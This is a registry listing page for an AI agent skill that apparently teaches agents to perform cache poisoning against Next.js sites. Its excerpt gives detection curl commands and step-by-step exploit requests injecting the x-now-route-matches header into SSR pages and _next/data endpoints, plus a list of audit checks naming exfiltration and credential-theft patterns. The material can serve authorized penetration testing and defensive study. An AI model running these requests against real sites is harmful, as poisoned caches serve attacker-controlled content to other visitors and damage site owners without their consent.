nextjs-cache-poisoning SKILL.md skillA
nextjs-cache-poisoning from dreadnode/capabilities is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add dreadnode/capabilities/nextjs-cache-poisoning@git:20260529.8f6ea0ePins git:20260529.8f6ea0e in mdr.lock. Pin the fingerprint instead.
- Audit grade
- A, 17 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- dreadnode/capabilities
- Path
capabilities/web-security/skills/nextjs-cache-poisoning/SKILL.md- Versions recorded
- 2
- Latest version
- git:20260529.8f6ea0e, committed May 29, 2026
- First version recorded
- May 4, 2026
- Size
- 2,062 bytes
- Repository stars
- 22
- License
- MIT
Internal cache poisoning in Next.js via stale cache entries and header manipulation. Use when target runs Next.js (/_next/ paths, x-nextjs-cache header, __nextjs_original-cache-control) and you need to poison cached responses.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# Next.js Cache Poisoning ## Detection ```bash # Check for Next.js cache indicators curl -sD- "https://target.com/" | rg -i "x-nextjs-cache|x-nextjs-stale|__nextjs_original|x-now-route" # Find SSR routes with aggressive cache headers curl -sD- "https://target.com/target-page" | rg "s-maxage|stale-while-revalidate" ``` **Checkpoint:** Must see `x-nextjs-cache` header (HIT/STALE/MISS) or `s-maxage` in response. If all routes return `private, no-cache`, cache poisoning is not viable. ## Exploit ### 1. Identify poisonable route Find SSR routes with `s-maxage=31536000, stale-while-revalidate` (not `private, no-cache`). ### 2. Inject via x-now-route-matches header ```bash curl -sD- "https://target.com/target-page" \ -H "x-now-route-matches: 1" ``` ### 3. Target data endpoint directly ```bash curl -sD- "https://target.com/_next/data/BUILD_ID/target-page.json" \ -H "x-now-route-matches: 1" ``` ### 4. Verify poisoning ```bash # Check if subsequent requests return poisoned content curl -s "https://target.com/target-page" | head -50 # Look for x-nextjs-cache: HIT with attacker-controlled data ``` …
Read the whole file at its exact version.
How to install
mdr add dreadnode/capabilities/nextjs-cache-poisoning@sha256:287ff884ddfc357fThe line at the top of this page pins the label git:20260529.8f6ea0e, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_j35aboyhuip6qhps)
4 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 2 versions of this file, between May 4, 2026 and May 29, 2026, about one every 25 days.
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260529.8f6ea0e latest | 2026-05-29 | 8f6ea0e | 2,062 B | A | view · diff |
| git:20260504.2a64374 | 2026-05-04 | 2a64374 | 1,490 B | A | view |
Audit of the latest version
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (2062 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
- pass: No script tag
Source
dreadnode/capabilities · 22 stars · license MIT · pushed 2026-11-02 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_j35aboyhuip6qhps GET https://markdownregistry.com/api/v1/resolve?ref=dreadnode/capabilities/nextjs-cache-poisoning GET https://markdownregistry.com/api/v1/blob/287ff884ddfc357fb8d7ff3bd0e05a9a96f0f8782680945d1b142b26d337638b
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.